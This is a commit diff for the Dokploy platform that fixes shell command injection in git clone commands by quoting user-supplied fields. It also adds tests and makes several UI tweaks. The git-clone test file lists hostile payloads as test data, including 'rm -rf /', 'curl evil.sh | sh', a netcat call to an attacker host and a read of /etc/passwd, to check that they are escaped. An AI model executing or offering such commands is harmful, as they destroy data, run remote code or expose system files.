docs: trim block comment on shellWord helper

User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8

apps/dokploy/__test__/api/api-key-name.test.ts

@@ -0,0 +1,26 @@
+import { describe, expect, it } from "vitest";
+import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
+
+describe("apiKeyNameSchema", () => {
+	it("rejects an empty name", () => {
+		const result = apiKeyNameSchema.safeParse("");
+		expect(result.success).toBe(false);
+	});
+
+	it("accepts a name at the maximum length", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(true);
+	});
+
+	it("rejects a name over the maximum length instead of passing it to better-auth", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(false);
+		if (!result.success) {
+			expect(result.error.issues[0]?.message).toBe(
+				`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
+			);
+		}
+	});
+});

apps/dokploy/__test__/compose/volume/volume-services.test.ts

@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
 	);
 });
 
+const composeFileAccessMode = `
+version: "3.8"
+
+services:
+  web:
+    image: nginx:alpine
+    volumes:
+      - web_config:/etc/nginx/conf.d:ro
+      - certs/sub:/etc/certs:Z
+`;
+
+test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
+	const composeData = parse(composeFileAccessMode) as ComposeSpecification;
+
+	const suffix = generateRandomHash();
+
+	if (!composeData.services) {
+		return;
+	}
+
+	const updatedComposeData = addSuffixToVolumesInServices(
+		composeData.services,
+		suffix,
+	);
+
+	expect(updatedComposeData.web?.volumes).toContain(
+		`web_config-${suffix}:/etc/nginx/conf.d:ro`,
+	);
+	expect(updatedComposeData.web?.volumes).toContain(
+		`certs-${suffix}/sub:/etc/certs:Z`,
+	);
+});
+
 const composeFileTypeVolume = `
 version: "3.8"
 

apps/dokploy/__test__/env/encryption.test.ts

@@ -0,0 +1,93 @@
+import {
+	decryptValue,
+	encryptValue,
+	exportEncryptionKeys,
+	isEncrypted,
+} from "@dokploy/server/lib/encryption";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+describe("encryptValue / decryptValue", () => {
+	it("round-trips a value", () => {
+		const value =
+			"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
+		const encrypted = encryptValue(value);
+
+		expect(encrypted).not.toBe(value);
+		expect(isEncrypted(encrypted)).toBe(true);
+		expect(encrypted).not.toContain("secret");
+		expect(decryptValue(encrypted)).toBe(value);
+	});
+
+	it("uses a random IV so equal inputs produce different ciphertexts", () => {
+		const value = "KEY=value";
+		expect(encryptValue(value)).not.toBe(encryptValue(value));
+	});
+
+	it("passes legacy plaintext through on decrypt", () => {
+		const plaintext = "KEY=legacy-plaintext-value";
+		expect(decryptValue(plaintext)).toBe(plaintext);
+	});
+
+	it("passes empty values through unchanged", () => {
+		expect(encryptValue("")).toBe("");
+		expect(decryptValue("")).toBe("");
+	});
+
+	it("does not double-encrypt an already encrypted value", () => {
+		const encrypted = encryptValue("KEY=value");
+		expect(encryptValue(encrypted)).toBe(encrypted);
+	});
+
+	it("throws a descriptive error on tampered ciphertext", () => {
+		const encrypted = encryptValue("KEY=value");
+		const tampered = `${encrypted.slice(0, -4)}AAAA`;
+		expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
+	});
+
+	it("exports the derived keys as 32-byte hex lines for backups", () => {
+		expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
+	});
+});
+
+describe("dedicated ENCRYPTION_KEY", () => {
+	afterEach(() => {
+		vi.unstubAllEnvs();
+		vi.resetModules();
+	});
+
+	const loadWithEncryptionKey = async (key: string) => {
+		vi.stubEnv("ENCRYPTION_KEY", key);
+		vi.resetModules();
+		return await import("@dokploy/server/lib/encryption");
+	};
+
+	it("encrypts with the dedicated key when set", async () => {
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		const encrypted = withKey.encryptValue("KEY=value");
+
+		expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
+		// The default (auth-secret derived) module cannot read it
+		expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
+	});
+
+	it("still decrypts legacy values via the auth-secret fallback", async () => {
+		// Encrypted before the install adopted a dedicated key
+		const legacyEncrypted = encryptValue("KEY=legacy-value");
+
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
+	});
+
+	it("re-encrypts with the dedicated key on write", async () => {
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		const reEncrypted = withKey.encryptValue(
+			withKey.decryptValue(encryptValue("KEY=migrated")),
+		);
+
+		const other = await loadWithEncryptionKey("another-key");
+		// Readable only by the dedicated key (or its own fallback), proving
+		// the write used the primary key, not the legacy one
+		expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
+		expect(() => other.decryptValue(reEncrypted)).toThrow();
+	});
+});

apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts

@@ -0,0 +1,87 @@
+import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
+import { shellWord } from "@dokploy/server/utils/providers/utils";
+import { parse } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Payloads that, if reached a shell unescaped, would execute commands.
+const INJECTION_PAYLOADS = [
+	"$(touch /tmp/pwned)",
+	"`id`",
+	"; rm -rf /",
+	"&& curl evil.sh | sh",
+	"| nc attacker 4444",
+	"https://github.com/o/r.git$(whoami)",
+	"main; wget http://evil",
+	"$(cat /etc/passwd)",
+];
+
+// Legit values that must survive escaping unchanged.
+const LEGIT_VALUES = [
+	"main",
+	"feature/login-v2",
+	"release-1.2.3",
+	"https://github.com/dokploy/dokploy.git",
+	"https://gitlab.example.com/group/sub/project.git",
+];
+
+describe("shellWord (git provider shell escaping)", () => {
+	it("collapses every injection payload into a single literal token (no shell operators)", () => {
+		for (const payload of INJECTION_PAYLOADS) {
+			const parsed = parse(shellWord(payload));
+			// A safely escaped value parses back to exactly the original string,
+			// as ONE token. If escaping failed, parse() would emit operator
+			// objects such as { op: ";" } or { op: "$(" } instead.
+			expect(parsed).toEqual([payload]);
+		}
+	});
+
+	it("leaves legitimate URLs and branch names intact", () => {
+		for (const value of LEGIT_VALUES) {
+			expect(parse(shellWord(value))).toEqual([value]);
+		}
+	});
+});
+
+describe("cloneGitRepository command (customGitUrl path)", () => {
+	const buildClone = (customGitUrl: string, customGitBranch: string) =>
+		cloneGitRepository({
+			appName: "demo-app",
+			customGitUrl,
+			customGitBranch,
+			customGitSSHKeyId: null,
+			enableSubmodules: false,
+			serverId: null,
+			type: "application",
+		});
+
+	// A malicious substring, once escaped, must survive parsing as inert literal
+	// text and never as an executable command/operator. `parse()` turns command
+	// substitution and control operators into { op } objects, so we assert the
+	// injected marker only ever shows up inside a plain string token.
+	const markerLeaksAsShellSyntax = (command: string, marker: string) => {
+		const tokens = parse(command);
+		return tokens.some(
+			(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+		);
+	};
+
+	it("does not let a malicious customGitUrl inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git$(touch /tmp/pwned)",
+			"main",
+		);
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).toContain("git clone");
+	});
+
+	it("does not let a malicious customGitBranch inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git",
+			"main; touch /tmp/pwned",
+		);
+		// The branch is a single quoted token, so its ";" contributes no extra
+		// operator and `touch` never becomes a runnable statement.
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).not.toContain("touch /tmp/pwned;");
+	});
+});

apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx

@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx

@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 															? "Loading...."
 															: (repositories?.find(
 																	(repo: GiteaRepository) =>
-																		repo.name === field.value.repo,
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 														{repositories?.map((repo: GiteaRepository) => {
 															return (
 																<CommandItem
-																	value={repo.name}
+																	value={`${repo.owner.username}/${repo.name}`}
 																	key={repo.url}
 																	onSelect={() => {
 																		form.setValue("repository", {
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	<CheckIcon
 																		className={cn(
 																			"ml-auto h-4 w-4",
-																			repo.name === field.value.repo
+																			repo.name === field.value.repo &&
+																				repo.owner.username ===
+																					field.value.owner
 																				? "opacity-100"
 																				: "opacity-0",
 																		)}
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx

@@ -252,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.login === field.value.owner,
 																)?.name ?? field.value.repo)}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -279,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.login}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -289,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.login}
 																	</span>
@@ -298,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.login === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -345,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -373,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx

@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx

@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx

@@ -255,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -282,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 														{repositories?.map((repo) => (
 															<CommandItem
 																key={repo.url}
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																onSelect={() => {
 																	form.setValue("repository", {
 																		owner: repo.owner.username,
@@ -291,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -300,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -348,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branches..."
@@ -365,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name)
 																}
 															>
-																<span className="flex items-center gap-2">
-																	{branch.name}
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">
+																		{branch.name}
+																	</span>
 																</span>
 																<CheckIcon
 																	className={cn(

apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx

@@ -245,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.login === field.value.owner,
 																)?.name ?? field.value.repo)}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -272,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.login}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -282,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.login}
 																	</span>
@@ -291,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.login === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -338,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -366,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx

@@ -274,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -312,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -398,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",

apps/dokploy/components/dashboard/database/backups/handle-backup.tsx

@@ -79,6 +79,7 @@ const Schema = z
 		schedule: z.string().min(1, "Schedule (Cron) required"),
 		prefix: z.string().min(1, "Prefix required"),
 		enabled: z.boolean(),
+		includeEncryptionKey: z.boolean(),
 		database: z.string().min(1, "Database required"),
 		keepLatestCount: z.coerce.number().optional(),
 		serviceName: z.string().nullable(),
@@ -223,6 +224,7 @@ export const HandleBackup = ({
 						: "",
 			destinationId: "",
 			enabled: true,
+			includeEncryptionKey: true,
 			prefix: "/",
 			schedule: "",
 			keepLatestCount: undefined,
@@ -262,6 +264,7 @@ export const HandleBackup = ({
 						: "",
 			destinationId: backup?.destinationId ?? "",
 			enabled: backup?.enabled ?? true,
+			includeEncryptionKey: backup?.includeEncryptionKey ?? true,
 			prefix: backup?.prefix ?? "/",
 			schedule: backup?.schedule ?? "",
 			keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -309,6 +312,7 @@ export const HandleBackup = ({
 			prefix: data.prefix,
 			schedule: data.schedule,
 			enabled: data.enabled,
+			includeEncryptionKey: data.includeEncryptionKey,
 			database: data.database,
 			keepLatestCount: data.keepLatestCount ?? null,
 			databaseType: data.databaseType || databaseType,
@@ -665,6 +669,31 @@ export const HandleBackup = ({
 									</FormItem>
 								)}
 							/>
+							{databaseType === "web-server" && (
+								<FormField
+									control={form.control}
+									name="includeEncryptionKey"
+									render={({ field }) => (
+										<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
+											<div className="space-y-0.5">
+												<FormLabel>Include encryption key</FormLabel>
+												<FormDescription>
+													Stores the encryption key inside the backup so
+													environment variables can be restored on a new server.
+													Anyone with access to the backup file can decrypt
+													them.
+												</FormDescription>
+											</div>
+											<FormControl>
+												<Switch
+													checked={field.value}
+													onCheckedChange={field.onChange}
+												/>
+											</FormControl>
+										</FormItem>
+									)}
+								/>
+							)}
 							{backupType === "compose" && (
 								<>
 									{form.watch("databaseType") === "postgres" && (

apps/dokploy/components/dashboard/settings/api/add-api-key.tsx

@@ -32,10 +32,11 @@ import {
 	SelectValue,
 } from "@/components/ui/select";
 import { Switch } from "@/components/ui/switch";
+import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
 import { api } from "@/utils/api";
 
 const formSchema = z.object({
-	name: z.string().min(1, "Name is required"),
+	name: apiKeyNameSchema,
 	prefix: z.string().optional(),
 	expiresIn: z.number().nullable(),
 	organizationId: z.string().min(1, "Organization is required"),
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
 									<FormItem>
 										<FormLabel>Name</FormLabel>
 										<FormControl>
-											<Input placeholder="My API Key" {...field} />
+											<Input
+												placeholder="My API Key"
+												maxLength={API_KEY_NAME_MAX_LENGTH}
+												{...field}
+											/>
 										</FormControl>
+										<FormDescription>
+											Maximum {API_KEY_NAME_MAX_LENGTH} characters
+										</FormDescription>
 										<FormMessage />
 									</FormItem>
 								)}

apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-2xl">
 				<DialogHeader>
-					<DialogTitle>Add a external registry</DialogTitle>
+					<DialogTitle>Add an external registry</DialogTitle>
 					<DialogDescription>
-						Fill the next fields to add a external registry.
+						Fill in the following fields to add an external registry.
 					</DialogDescription>
 				</DialogHeader>
 				{(isError || testRegistryIsError || testRegistryByIdIsError) && (

apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="">
 												<FormLabel>App Deploy</FormLabel>
 												<FormDescription>
-													Trigger the action when a app is deployed.
+													Trigger the action when an app is deployed.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="space-y-0.5">
 												<FormLabel>Dokploy Backup</FormLabel>
 												<FormDescription>
-													Trigger the action when a dokploy backup is created.
+													Trigger the action when a Dokploy backup is created.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="space-y-0.5">
 												<FormLabel>Docker Cleanup</FormLabel>
